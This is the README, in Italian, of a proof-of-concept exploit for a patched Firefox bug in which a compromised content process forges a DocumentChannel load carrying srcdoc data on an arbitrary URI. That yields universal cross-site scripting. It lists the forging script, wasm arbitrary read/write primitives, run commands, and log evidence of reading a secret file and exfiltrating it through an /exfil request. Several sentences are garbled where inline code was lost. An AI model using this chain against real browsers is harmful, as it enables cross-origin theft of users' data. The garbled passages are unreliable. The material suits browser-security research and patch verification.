
Firefox content->parent srcdoc forge (N-day, bug 2040160): PDocumentChannel contraffatto con SrcdocData su un URI non-about:srcdoc -> HTML dell'attaccante servito all'origine della vittima (UXSS), tramite iniezione del percorso di invio mojo-port da un processo di contenuto compromesso
Proof of concept: un processo di contenuto compromesso forgia un caricamento PDocumentChannel il cui nsDocShellLoadState trasporta SrcdocData insieme a un URI arbitrario. Le build vulnerabili servono l'HTML dell'attaccante come documento all'origine della vittima — lettura same-origin + esfiltrazione (UXSS).
Target: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerabile, pre-fix), macOS arm64.
Corretto in Firefox 152 — bug 2040160, commit 54dc16d08771 "Reject srcdoc data on non-about:srcdoc URI loads".
Il processo padre deserializza un nsDocShellLoadState dai messaggi IPDL content→parent. Il ctor vulnerabile rifiutava solo per i caricamenti attivati dal contenuto; non veniva validato. Quando uno stato di caricamento trasporta dati srcdoc con un URI che non è , il docshell costruisce un canale input-stream che serve l'HTML srcdoc — e il documento risultante ottiene l'origine dell'URI.
javascript:SrcdocDataabout:srcdocLa correzione aggiunge un FatalError nel ctor IPDL di nsDocShellLoadState quando !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), oltre ad assert di hardening in nsDocShell e Document::StartDocumentLoad.
Bug correlato: CVE-2026-74939 (RemoteTypeOverride) — stesso ctor, stesso messaggio trasportatore, stessa meccanica di consegna (vedi ../poc-cve-2026-74939). Questo PoC riutilizza quella forgia con un campo diverso attivato; non è necessario RemoteTypeOverride.
srcdoc.html su http://127.0.0.1:8778 (origine A, compromessa tramite le primitive wasm stage-1 in wasm-bytes.js).PNecko::PDocumentChannel: URI = http://localhost:8778/nav.html (origine B), SrcdocData = <HTML dell'attaccante>, BrowsingContext di primo livello di un popup about:blank nello stesso processo — consegnato tramite il percorso di invio mojo reale (operator new → ctor IPC::Message → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost, e il docshell serve il nostro HTML come documento all'origine B./secret.txt (same-origin su B — un vero fetch cross-origin da A sarebbe bloccato da CORS) e lo esfiltra verso A.Evidenza (/tmp/srv.log dopo ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| File | Scopo |
|---|---|
srcdoc.html | Pagina PoC, eseguita all'interno del processo di contenuto compromesso |
forge.py | costruisce il messaggio forgiato (auto-verificante) → forge.bin/forge.json |
wasm-bytes.js | primitive stage-1: arb R/W, chiamate funcref (CVE-2026-2796) |
mdrive2.py | harness marionette per avviare e pilotare Nightly |
irun | esecuzione strumentata: lldb attach al padre + evidenza MOZ_LOG/srv.log |
profile.user.js | preferenze del profilo Firefox (fission attivo, dump abilitato) |
parse_dc.py | parser byte-esatto per i messaggi DocumentChannel catturati |
captured-messages/dc_1.bin | messaggio reale catturato, usato come template per la forgia |
nav.html, secret.txt | fixture della pagina vittima + segreto per la demo |
Prerequisiti: build Nightly vulnerabile in /Users/sid/gecko-2766/obj-browser, .venv con psutil, e un web server su 0.0.0.0:8778 che serve questa directory (es. python3 /tmp/srv.py, con log su /tmp/srv.log).
python3 forge.py # costruisce forge.bin/forge.json (auto-verificante)
./irun # avvia + inietta + raccoglie evidenza
Nota: un processo di contenuto può andare in SIGSEGV al teardown dopo l'invio (GC sugli oggetti finti); tutta l'evidenza viene emessa prima di quello.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)